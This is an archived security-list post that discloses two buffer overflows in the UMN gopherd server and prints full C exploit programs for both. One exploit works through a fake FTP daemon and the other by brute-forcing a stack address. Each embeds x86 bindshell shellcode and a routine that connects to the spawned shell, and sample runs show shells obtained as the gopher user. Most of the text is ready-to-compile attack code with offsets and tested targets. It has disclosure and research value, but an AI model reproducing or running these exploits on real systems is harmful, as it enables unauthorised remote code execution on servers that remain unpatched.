Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Linux :: Apps N-Z :: bt607.txt

UMN gopherd: ftp gateway, and GSisText() buffer overflow exploits.







bordom/fun audit time...



been awhile since i did an audit of UMN(University of Minnesota) gopherd+

daemon.  figured i would check out the newer v3.0.x series, which has

cleaned up the past security issues... while the old issues are resolved,

still a few leftovers.  two exploits follow...



original sources:

 http://fakehalo.deadpig.org/xgopherd2k3-ftp.c

 http://fakehalo.deadpig.org/xgopherd2k3-view.c





--------------------- exploit: xgopherd2k3-ftp.c ---------------------



/*[ UMN gopherd[2.x.x/3.x.x]: remote "ftp gateway" buffer overflow. ]*

 *                                                                   *

 * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realhalo)         *

 *                                                                   *

 * three years since last audit, code is a little more secure.  but, *

 * still found a few potentially exploitable situations.  this       *

 * exploits the "ftp gateway" feature of gopherd.  the gateway is    *

 * intended to act as a proxy of sorts.  between the server, and the *

 * client.  the bug occurs when gopherd attempts to read a ftp       *

 * list(LIST), and strcpy()'s the filename without checking the      *

 * length.  an example would look like this(including where to put   *

 * the shellcode at):                                                *

 *                                                                   *

 * "-rwxrwxrwx 1 <shellcode> root 1 Dec 31 23:59 <long string>"      *

 *                                                                   *

 * to exploit this, there needs to be a fake ftp daemon of sorts.    *

 * and, do to the nature of gopherd's "ftp gateway" support, must be *

 * on port 21.  which means this exploit needs to run as root.       *

 *                                                                   *

 * when exploiting this bug, it is made moderately easy by gopherd.  *

 * because, the buffer that holds the string is 8192 bytes, and on   *

 * the stack.  meaning the amount of NOPs used can be around ~7500.  *

 *                                                                   *

 * requirements(general):                                            *

 *  gopherd must have "ftp gateway" support included on compile,     *

 *  this is true by default.  but, the "--disable-ftp" configure     *

 *  option will make exploitation of this bug impossible.            *

 *                                                                   *

 * requirements(for this exploit):                                   *

 *  the server must be running linux/x86(what i made the exploit     *

 *  for).  gopherd must be started in the root directory "/",        *

 *  running with the -c command line option, or started as non-root. *

 *  any of those three situations will allow for successful          *

 *  exploitation.  this does not mean it is impossible to exploit    *

 *  otherwise.  but, gopherd will be in a chroot()'d state.  and, as *

 *  of the 2.4 kernel series, i have seen no such way to break       *

 *  chroot.  if it is desired to still run code, even in a limited   *

 *  environment, simply change the shellcode to your likings.  also, *

 *  the exploit must be ran as root, to bind to port 21.             *

 *                                                                   *

 * bug location(gopher-3.0.5/gopherd/ftp.c):                         *

 *  1800:int                                                         *

 *  1801:GopherFile(FTP *ftp, char *buf, char *theName)              *

 *  1802:{                                                           *

 *  ...                                                              *

 *  1805:char tmpName[256];                                          *

 *  ...                                                              *

 *  1811:strcpy(tmpName, buf);                                       *

 *                                                                   *

 * vulnerable versions:                                              *

 *  v3.0.5, v3.0.4, v3.0.3, v3.0.2, v3.0.1, v3.0.0(-1),              *

 *  v2.3.1. (patch level 0 through 15/all 2.3.1 versions)            *

 *  (it is assumed versions before 2.3.1 are vulnerable as well)     *

 *                                                                   *

 * tested on platforms(with no code changes/offsets):                *

 *  RedHat7.1, 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686           *

 *  Mandrake9.1, 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686 *

 *  (tested on both v3.0.5, and v2.3.1 sources / no changes.  this   *

 *  should apply to pretty much any generic linux, do to the amount  *

 *  of NOPs(~7500 bytes guessing room), and on the stack)            *

 *                                                                   *

 * example usage:                                                    *

 *  # cc xgopherd2k3-ftp.c -o xgopherd2k3-ftp                        *

 *  # ./xgopherd2k3-ftp localhost 127.0.0.1                          *

 *  [*] UMN gopherd[2.x.x/3.x.x]: remote buffer overflow exploit.    *

 *  [*] "UMN gopherd remote ftp gateway buffer overflow"             *

 *  [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)             *

 *                                                                   *

 *  [*] target: localhost:70 - localhost: 127.0.0.1 - offset: 0xbff$ *

 *                                                                   *

 *  [*] starting ftp daemon. (background)                            *

 *  [*] attempting to connect: localhost:70.                         *

 *  [*] connected successfully: localhost:70.                        *

 *  [?] +GOPHERD: "ftp://x:x@127.0.0.1".                             *

 *  [*] ftp daemon connection established.                           *

 *  [?] -FTPD: "SYST".                                               *

 *  [?] -FTPD: "USER x".                                             *

 *  [?] -FTPD: "PASS x".                                             *

 *  [?] -FTPD: "PORT 127,0,0,1,128,35".                              *

 *  [?] -FTPD: "LIST -F".                                            *

 *  [?] +FTPD: "-rwxrwxrwx 1 <shellcode(7800)> root 1 Dec 31 23:59 $ *

 *  [*] waiting for ftp daemon to finish. (ctrl-c if needed)         *

 *  [*] ftp daemon connection closed.                                *

 *  [*] checking to see if the exploit was successful.               *

 *  [*] attempting to connect: localhost:45295.                      *

 *  [*] successfully connected: localhost:45295.                     *

 *                                                                   *

 *  Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2$ *

 *  uid=13(gopher) gid=30(gopher) groups=0(root),1(bin),2(daemon),3$ *

 *                                                                   *

 * note: when using your "local ip", do not make it 127.0.0.1, like  *

 * in the example.  it must be the ip you connect to the internet    *

 * through. (not an local area network ip, or whatnot)               *

 *********************************************************************/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <strings.h>

#include <signal.h>

#include <unistd.h>

#include <netdb.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <sys/time.h>

#include <sys/wait.h>

#include <netinet/in.h>

#include <arpa/inet.h>



/* change defines at will. (cept EIPSIZE, not recommended)     */

#define CODESIZE 7800 /* part of buf[8192]/stack. (~-350)      */

#define EIPSIZE 292 /* riding a fine line, don't make too big. */

#define RETADDR 0xbfffe29b /* center of NOPs for me. (~+-3500) */

#define TIMEOUT 10 /* connection timeout. (general)            */



/* globals. */

static char x86_exec[]= /* bindshell(45295)&, netric/S-poly. */

 "\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49"

 "\x41\x49\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0"

 "\x06\x9e\x26\x86\xdb\x26\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88"

 "\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95\x06\xb0\x25\x25\x25\x3b"

 "\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28\x88\xd7\x27"

 "\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"

 "\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b"

 "\xa2\x55\x5e\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85"

 "\x05\xa2\x55\x06\x95\x06\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85"

 "\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0\x85\xd7\xa2\x55\x0e\x98"

 "\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95\x06\x9e\x5e"

 "\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16"

 "\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37"

 "\x3e\x43\x5e\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2"

 "\x55\x06\x95\x15\xa2\x55\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0"

 "\x6e";

char ftp_ip[64+1];

unsigned short ftp_port=0;

pid_t ftp_pid=0;

/* return address offset. (arg3) */

unsigned int offset_ra=0;



/* functions. */

char *geteip(void);

char *getcode(void);

unsigned short ftpd_read(int);

void ftpd_handler(int,char *);

void ftpd_list(char *,unsigned short);

void ftpd(void);

void gopher_connect(char *,unsigned short,char *);

void getshell(char *,unsigned short);

void printe(char *,short);



/* signal handlers. */

void sig_ctrlc_wait(){if(ftp_pid)kill(ftp_pid,9);}

void sig_ctrlc_exit(){printe("ctrl-c abort.",1);}

void sig_alarm(){printe("alarm/timeout hit.",1);}



/* begin. */

int main(int argc,char **argv){

 unsigned short gopher_port=70; /* default. */

 unsigned int i=0;

 char *gopher_host;

 printf("[*] UMN gopherd[2.x.x/3.x.x]: remote buffer o"

 "verflow exploit.\n[*] \"UMN gopherd remote ftp gatew"

 "ay buffer overflow\"\n[*] by: vade79/v9 v9@fakehalo."

 "deadpig.org (fakehalo)\n\n");

 if(argc<3){

  printf("[!] syntax: %s <hostname[:port]> <local/your"

  "_ip> [offset]\n\n",argv[0]);

  exit(1);

 }

 if(!(gopher_host=(char *)strdup(argv[1])))

  printe("main(): allocating memory failed",1);

 for(i=0;i<strlen(gopher_host);i++)

  if(gopher_host[i]==':')

   gopher_host[i]=0x0;

 if(index(argv[1],':'))

  gopher_port=atoi((char *)index(argv[1],':')+1);

 if(!gopher_port)

  gopher_port=70;

 if(argc>3)

  offset_ra=atoi(argv[3]);

 printf("[*] target: %s:%d - localhost: %s - offset: 0x%.8x(+"

 "%u)\n\n",gopher_host,gopher_port,argv[2],RETADDR,offset_ra);

 signal(SIGINT,sig_ctrlc_wait);

 signal(SIGALRM,sig_alarm);

 /* start ftpd, as a different process. */

 switch(ftp_pid=fork()){

  case -1:

   printe("fork() ftpd failure.",1);

   break;

  case 0:

   signal(SIGINT,SIG_DFL);

   ftpd();

   _exit(0);

   break;

  default:

   printf("[*] starting ftp daemon. (background)\n");

   break;

 }

 gopher_connect(gopher_host,gopher_port,argv[2]);

 /* gotta let the ftpd magic happen, plenty of time. */

 printf("[*] waiting for ftp daemon to finish. (ctrl-c if"

 " needed)\n");

 waitpid(ftp_pid,0,0);

 signal(SIGINT,sig_ctrlc_exit);

 getshell(gopher_host,45295); /* defined in shellcode. */

 printf("[!] exploit failed.\n");

 exit(0);

}

char *geteip(void){

 unsigned int i=0;

 char *buf;

 if(!(buf=(char *)malloc(EIPSIZE+1)))

  printe("ftpd_read(): allocating memory failed.",1);

 memset(buf,0x0,EIPSIZE+1);

 for(i=0;i<EIPSIZE;i+=4){*(long *)&buf[i]=(RETADDR+offset_ra);}

 return(buf);

}

char *getcode(void){

 char *buf;

 if(!(buf=(char *)malloc(CODESIZE+1)))

  printe("getcode(): allocating memory failed",1);

 memset(buf,0x90,(CODESIZE-strlen(x86_exec)));

 memcpy(buf+(CODESIZE-strlen(x86_exec)),x86_exec,

 strlen(x86_exec));

 return(buf);

}

unsigned short ftpd_read(int sock){

 char *buf;

 if(!(buf=(char *)malloc(4096+1)))

  return(1);

 memset(buf,0x0,4096+1);

 if(read(sock,buf,4096)<1)

  return(1);

 ftpd_handler(sock,buf);

 return(0);

}

void ftpd_handler(int sock,char *buf){

 unsigned int addr1,addr2,addr3,addr4,port1,port2,i;

 /* clean up for display, changes nothing critical. */

 for(i=0;i<strlen(buf);i++)

  if(buf[i]=='\r'||buf[i]=='\n')

   buf[i]=0x0;

 if(strlen(buf)){

  printf("[?] -FTPD: \"%s\".\n",buf);

  if(!strncmp("SYST",buf,4))

   dprintf(sock,"215 UNIX Type: L8\n");

  else if(!strncmp("USER ",buf,5))

   dprintf(sock,"331 login ok.\n");

  else if(!strncmp("PASS ",buf,5))

   dprintf(sock,"230 access granted.\n");

  else if(!strncmp("PORT ",buf,5)){

   sscanf(buf,"PORT %u,%u,%u,%u,%u,%u",&addr1,&addr2,&addr3,

   &addr4,&port1,&port2);

   memset(ftp_ip,0x0,64+1);

   snprintf(ftp_ip,64,"%u.%u.%u.%u",addr1,addr2,addr3,addr4);

   ftp_port=((port1*256)+port2);

   dprintf(sock,"200 PORT command successful.\n");

  }

  else if(!strncmp("LIST",buf,4)){

   dprintf(sock,"150 Opening connection.\n");

   /* send the fake file list, the exploit itself. */

   if(strlen(ftp_ip)&&ftp_port)

    ftpd_list(ftp_ip,ftp_port);

   dprintf(sock,"226 Transfer complete.\n");

   sleep(1);

   /* nothing else of importance. */

   close(sock);

  }

 }

 return;

}

void ftpd_list(char *ip,unsigned short port){

 int sock;

 struct hostent *t;

 struct sockaddr_in s;

 sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

 s.sin_family=AF_INET;

 s.sin_port=htons(port);

 if((s.sin_addr.s_addr=inet_addr(ip))){

  if(!(t=gethostbyname(ip)))

   printe("couldn't resolve ftp_list hostname/ip.",1);

  memcpy((char*)&s.sin_addr,(char*)t->h_addr,

  sizeof(s.sin_addr));

 }

 signal(SIGALRM,sig_alarm);

 alarm(TIMEOUT);

 if(connect(sock,(struct sockaddr *)&s,sizeof(s)))

  printe("ftpd_list connection failed.",1);

 alarm(0);

 /* the exploit itself, what changes the EIP.     */

 /* i just put the shellcode where the user/owner */

 /* of the file would normally go, goes into the  */

 /* fat buf[8192] buffer, yummy.                  */

 printf("[?] +FTPD: \"-rwxrwxrwx 1 <shellcode(%u)> root "

 "1 Dec 31 23:59 <eip(%u)>\".\n",CODESIZE,EIPSIZE);

 dprintf(sock,"-rwxrwxrwx 1 %s root 1 Dec 31 23:59 %s\n",

 getcode(),geteip());

 sleep(1); /* not needed, safe call. */

 close(sock);

 return;

}

void ftpd(void){

 int ssock,sock,salen,so=1,i=0;

 struct sockaddr_in ssa,sa;

 ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

 /* just incase used multiple times, good habit anyways. */

 setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));

 /* not everywheres. */

#ifdef SO_REUSEPORT

 setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));

#endif

 ssa.sin_family=AF_INET;

 /* must be default, gopherd limitations. :( */

 ssa.sin_port=htons(21);

 ssa.sin_addr.s_addr=INADDR_ANY;

 if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)

  printe("could not bind socket, ftpd already running?",1);

 listen(ssock,1); 

 bzero((char*)&sa,sizeof(struct sockaddr_in));

 /* some things i just don't see the reason for. :/ */

 salen=sizeof(sa);

 sock=accept(ssock,(struct sockaddr *)&sa,&salen);

 close(ssock); /* close server socket. */

 printf("[*] ftp daemon connection established.\n");

 /* welcome! */

 dprintf(sock,"220 FakeFTPD.\n");

 while(!i)

  i=ftpd_read(sock);

 close(sock);

 printf("[*] ftp daemon connection closed.\n");

 return;

}

void gopher_connect(char *hostname,unsigned short port,

char *myip){

 int sock;

 struct hostent *t;

 struct sockaddr_in s;

 printf("[*] attempting to connect: %s:%d.\n",hostname,port);

 sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

 s.sin_family=AF_INET;

 s.sin_port=htons(port);

 if((s.sin_addr.s_addr=inet_addr(hostname))){

  if(!(t=gethostbyname(hostname)))

   printe("couldn't resolve gopher hostname.",1);

  memcpy((char*)&s.sin_addr,(char*)t->h_addr,

  sizeof(s.sin_addr));

 }

 signal(SIGALRM,sig_alarm);

 alarm(TIMEOUT);

 if(connect(sock,(struct sockaddr *)&s,sizeof(s)))

  printe("gopher connection failed.",1);

 alarm(0);

 printf("[*] connected successfully: %s:%d.\n",hostname,port);

 printf("[?] +GOPHERD: \"ftp://x:x@%s\".\n",myip);

 sleep(1); /* had problems, without a delay here. */

 dprintf(sock,"ftp://x:x@%s\n",myip);

 sleep(1); /* doesn't really matter, but to be safe. :/ */

 /* leave gopher socket open, for the duration. */

 return;

}

/* same getshell() routine as usual. */

void getshell(char *hostname,unsigned short port){

 int sock,r;

 fd_set fds;

 char buf[4096+1];

 struct hostent *he;

 struct sockaddr_in sa;

 printf("[*] checking to see if the exploit was successful.\n");

 if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){

  printe("getshell(): socket() failed",0);

  return;

 }

 sa.sin_family=AF_INET;

 if((sa.sin_addr.s_addr=inet_addr(hostname))){

  if(!(he=gethostbyname(hostname))){

   printe("getshell(): couldn't resolve",0);

   return;

  }

  memcpy((char *)&sa.sin_addr,(char *)he->h_addr,

  sizeof(sa.sin_addr));

 }

 sa.sin_port=htons(port);

 signal(SIGALRM,sig_alarm);

 alarm(TIMEOUT);

 printf("[*] attempting to connect: %s:%d.\n",

 hostname,port);

 if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){

  printf("[!] connection failed: %s:%d.\n",

  hostname,port);

  return;

 }

 alarm(0);

 printf("[*] successfully connected: %s:%d.\n\n",

 hostname,port);

 signal(SIGINT,SIG_IGN);

 write(sock,"uname -a;id\n",13);

 while(1){

  FD_ZERO(&fds);

  FD_SET(0,&fds);

  FD_SET(sock,&fds);

  if(select(sock+1,&fds,0,0,0)<1){

   printe("getshell(): select() failed",0);

   return;

  }

  if(FD_ISSET(0,&fds)){

   if((r=read(0,buf,4096))<1){

    printe("getshell(): read() failed",0);

    return;

   }

   if(write(sock,buf,r)!=r){

    printe("getshell(): write() failed",0);

    return;

   }

  }

  if(FD_ISSET(sock,&fds)){

   if((r=read(sock,buf,4096))<1)

    exit(0);

   write(1,buf,r);

  }

 }

 close(sock);

 return;

}

void printe(char *err,short e){

 printf("[!] %s\n",err);

 if(e){

  /* don't want to exit with ftpd still running. */

  if(ftp_pid)

   kill(ftp_pid,9);

  printf("[!] exploit failed.\n");

  exit(1);

 }

 return;

}





--------------------- exploit: xgopherd2k3-view.c ---------------------



/*[ UMN gopherd[2.x.x/3.x.x]: remote GSisText()/view buffer overflow. ]*

 *                                                                     *

 * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realhalo)           *

 *                                                                     *

 * three years since last audit, code is a little more secure.  but,   *

 * still found a few potentially exploitable situations.  this         *

 * exploits the GSisText() object function in gopherd.  the function   *

 * is used in determining view-type.  the function does not check the  *

 * length of the string, which is copied into a temporary 64 byte      *

 * buffer.  an example would look like this(including where to put the *

 * shellcode at):                                                      *

 *                                                                     *

 * "g\t+<long string>\t1\n<shellcode(256 character max)>\n"            *

 *                                                                     *

 * to exploit this, the request must start with a h, 0, 4, 5, 9, s, I, *

 * or g.  followed by a <tab>+<long string>.  to have a place to put   *

 * the shellcode, i appeneded a <tab>1, which makes gopherd wait for   *

 * another line before actually doing the overflow.                    *

 *                                                                     * 

 * requirements(general):                                              *

 *  none.  no option to disable this, hard-coded upon compile.         *

 *                                                                     *

 * requirements(for this exploit):                                     *

 *  the server must be running linux/x86(what i made the exploit for). *

 *  gopherd must be started in the root directory "/", running with    *

 *  the -c command line option, or started as non-root.  any of those  *

 *  three situations will allow for successful exploitation.  this     *

 *  does not mean it is impossible to exploit otherwise.  but, gopherd *

 *  will be in a chroot()'d state.  and, as of the 2.4 kernel series,  *

 *  i have seen no such way to break chroot.  if it is desired to      *

 *  still run code, even in a limited environment, simply change the   *

 *  shellcode to your likings.                                         *

 *                                                                     *

 * bug location(gopher-3.0.5/object/GSgopherobj.c):                    *

 *  2088:boolean                                                       *

 *  2089:GSisText(GopherObj *gs, char *view)                           *

 *  2090:{                                                             *

 *  ...                                                                *

 *  2106:char viewstowage[64], *cp;                                    *

 *  2108:strcpy(viewstowage, view);                                    *

 *                                                                     *

 * vulnerable versions:                                                *

 *  v3.0.5, v3.0.4, v3.0.3, v3.0.2, v3.0.1, v3.0.0(-1),                *

 *  v2.3.1. (patch level 0 through 15/all 2.3.1 versions)              *

 *  (it is assumed versions before 2.3.1 are vulnerable as well)       *

 *                                                                     *

 * tested on platforms(with no code changes/offsets):                  *

 *  RedHat7.1, 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686             *

 *  Mandrake9.1, 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686   *

 *  (tested on both v3.0.5, and v2.3.1 sources / no changes)           *

 *                                                                     *

 * example usage:                                                      *

 *  # cc xgopherd2k3-view.c -o xgopherd2k3-view                        *

 *  # ./xgopherd2k3-view localhost                                     *

 *  [*] UMN gopherd[2.x.x/3.x.x]: remote buffer overflow exploit.      *

 *  [*] "UMN gopherd remote GSisText()/view buffer overflow"           *

 *  [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)               *

 *                                                                     *

 *  [*] target: localhost:70 - brute: 0xbfffe000-0xbfffffff            *

 *                                                                     *

 *  (. = 29 byte offset): ............................................ *

 *  .................................................................. *

 *  ................................................(hit shellcode!)   *

 *                                                                     *

 *  Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 200$ *

 *  uid=13(gopher) gid=30(gopher) groups=0(root),1(bin),2(daemon),3(s$ *

 ***********************************************************************/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <strings.h>

#include <signal.h>

#include <unistd.h>

#include <netdb.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <sys/time.h>

#include <netinet/in.h>

#include <arpa/inet.h>



/* using brute force method, don't change values.                 */

#define CODESIZE 256 /* big as it gets, or will fail.             */

#define EIPSIZE 128 /* 64 byte buffer, little overboard. :)       */

#define BASEADDR 0xbfffe000 /* starting address, should be ok.    */

#define ENDADDR 0xbfffffff /* address to stop at.                 */

#define TIMEOUT 10 /* connection timeout. (general)               */



/* globals. */

static char x86_exec[]= /* bindshell(45295)&, netric/S-poly. */

 "\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49"

 "\x41\x49\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0"

 "\x06\x9e\x26\x86\xdb\x26\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88"

 "\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95\x06\xb0\x25\x25\x25\x3b"

 "\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28\x88\xd7\x27"

 "\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"

 "\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b"

 "\xa2\x55\x5e\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85"

 "\x05\xa2\x55\x06\x95\x06\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85"

 "\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0\x85\xd7\xa2\x55\x0e\x98"

 "\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95\x06\x9e\x5e"

 "\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16"

 "\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37"

 "\x3e\x43\x5e\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2"

 "\x55\x06\x95\x15\xa2\x55\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0"

 "\x6e";



/* functions. */

char *geteip(unsigned int);

char *getcode(void);

unsigned short gopher_connect(char *,unsigned short,

unsigned int);

void getshell(char *,unsigned short);

void printe(char *,short);



/* signal handlers. */

void sig_ctrlc(){printe("aborted",1);}

void sig_alarm(){printe("alarm/timeout hit",1);}



/* begin. */

int main(int argc,char **argv){

 unsigned short gopher_port=70; /* default. */

 unsigned int offset=0,i=0;

 char *gopher_host;

 printf("[*] UMN gopherd[2.x.x/3.x.x]: remote buffer o"

 "verflow exploit.\n[*] \"UMN gopherd remote GSisText("

 ")/view buffer overflow\"\n[*] by: vade79/v9 v9@fakeh"

 "alo.deadpig.org (fakehalo)\n\n");

 if(argc<2){

  printf("[!] syntax: %s <hostname[:port]>\n\n",argv[0]);

  exit(1);

 }

 if(!(gopher_host=(char *)strdup(argv[1])))

  printe("main(): allocating memory failed",1);

 for(i=0;i<strlen(gopher_host);i++)

  if(gopher_host[i]==':')

   gopher_host[i]=0x0;

 if(index(argv[1],':'))

  gopher_port=atoi((char *)index(argv[1],':')+1);

 if(!gopher_port)

  gopher_port=70;

 printf("[*] target: %s:%d - brute: 0x%.8x-0x%.8x\n\n",

 gopher_host,gopher_port,BASEADDR,ENDADDR);

 signal(SIGINT,sig_ctrlc);

 signal(SIGALRM,sig_alarm);

 fprintf(stderr,"(. = 29 byte offset): ");

 for(offset=0;(BASEADDR+offset)<ENDADDR;offset+=29){

  fprintf(stderr,(gopher_connect(gopher_host,gopher_port,

  offset)?"!":"."));

  getshell(gopher_host,45295); /* defined in shellcode. */

 }

 fprintf(stderr,"(brute force limit hit)\n");

 exit(0);

}

char *geteip(unsigned int offset){

 unsigned int i=0;

 char *buf;

 if(!(buf=(char *)malloc(EIPSIZE+1)))

  printe("ftpd_read(): allocating memory failed.",1);

 memset(buf,0x0,EIPSIZE+1);

 for(i=0;i<EIPSIZE;i+=4){*(long *)&buf[i]=(BASEADDR+offset);}

 return(buf);

}

char *getcode(void){

 char *buf;

 if(!(buf=(char *)malloc(CODESIZE+1)))

  printe("getcode(): allocating memory failed",1);

 memset(buf,0x90,(CODESIZE-strlen(x86_exec)));

 memcpy(buf+(CODESIZE-strlen(x86_exec)),x86_exec,

 strlen(x86_exec));

 return(buf);

}

unsigned short gopher_connect(char *hostname,

unsigned short port,unsigned int offset){

 int sock;

 struct hostent *t;

 struct sockaddr_in s;

 sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

 s.sin_family=AF_INET;

 s.sin_port=htons(port);

 if((s.sin_addr.s_addr=inet_addr(hostname))){

  if(!(t=gethostbyname(hostname))){

   close(sock);

   return(1);

  }

  memcpy((char*)&s.sin_addr,(char*)t->h_addr,

  sizeof(s.sin_addr));

 }

 signal(SIGALRM,sig_alarm);

 alarm(TIMEOUT);

 if(connect(sock,(struct sockaddr *)&s,sizeof(s))){

  alarm(0);

  close(sock);

  return(1);

 }

 alarm(0);

 usleep(500000); /* had problems, without a delay here. */

 /* the exploit itself. */

 dprintf(sock,"g\t+%s\t1\n",geteip(offset)); /* 64 bytes. */

 dprintf(sock,"%s\n",getcode()); /* 256 bytes room.       */

 usleep(500000); 

 close(sock); /* done. */

 return(0);

}

/* same getshell() routine, a little modded for brute. */

void getshell(char *hostname,unsigned short port){

 int sock,r;

 fd_set fds;

 char buf[4096+1];

 struct hostent *he;

 struct sockaddr_in sa;

 if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)

  return;

 sa.sin_family=AF_INET;

 if((sa.sin_addr.s_addr=inet_addr(hostname))){

  if(!(he=gethostbyname(hostname))){

   close(sock);

   return;

  }

  memcpy((char *)&sa.sin_addr,(char *)he->h_addr,

  sizeof(sa.sin_addr));

 }

 sa.sin_port=htons(port);

 signal(SIGALRM,sig_alarm);

 alarm(TIMEOUT);

 if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){

  alarm(0);

  close(sock);

  return;

 }

 alarm(0);

 fprintf(stderr,"(hit shellcode!)\n\n");

 signal(SIGINT,SIG_IGN);

 write(sock,"uname -a;id\n",13);

 while(1){

  FD_ZERO(&fds);

  FD_SET(0,&fds);

  FD_SET(sock,&fds);

  if(select(sock+1,&fds,0,0,0)<1){

   printe("getshell(): select() failed",0);

   return;

  }

  if(FD_ISSET(0,&fds)){

   if((r=read(0,buf,4096))<1){

    printe("getshell(): read() failed",0);

    return;

   }

   if(write(sock,buf,r)!=r){

    printe("getshell(): write() failed",0);

    return;

   }

  }

  if(FD_ISSET(sock,&fds)){

   if((r=read(sock,buf,4096))<1)

    exit(0);

   write(1,buf,r);

  }

 }

 close(sock);

 return;

}

void printe(char *err,short e){

 fprintf(stderr,"(error: %s)\n",err);

 if(e)

  exit(1);

 return;

}



TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH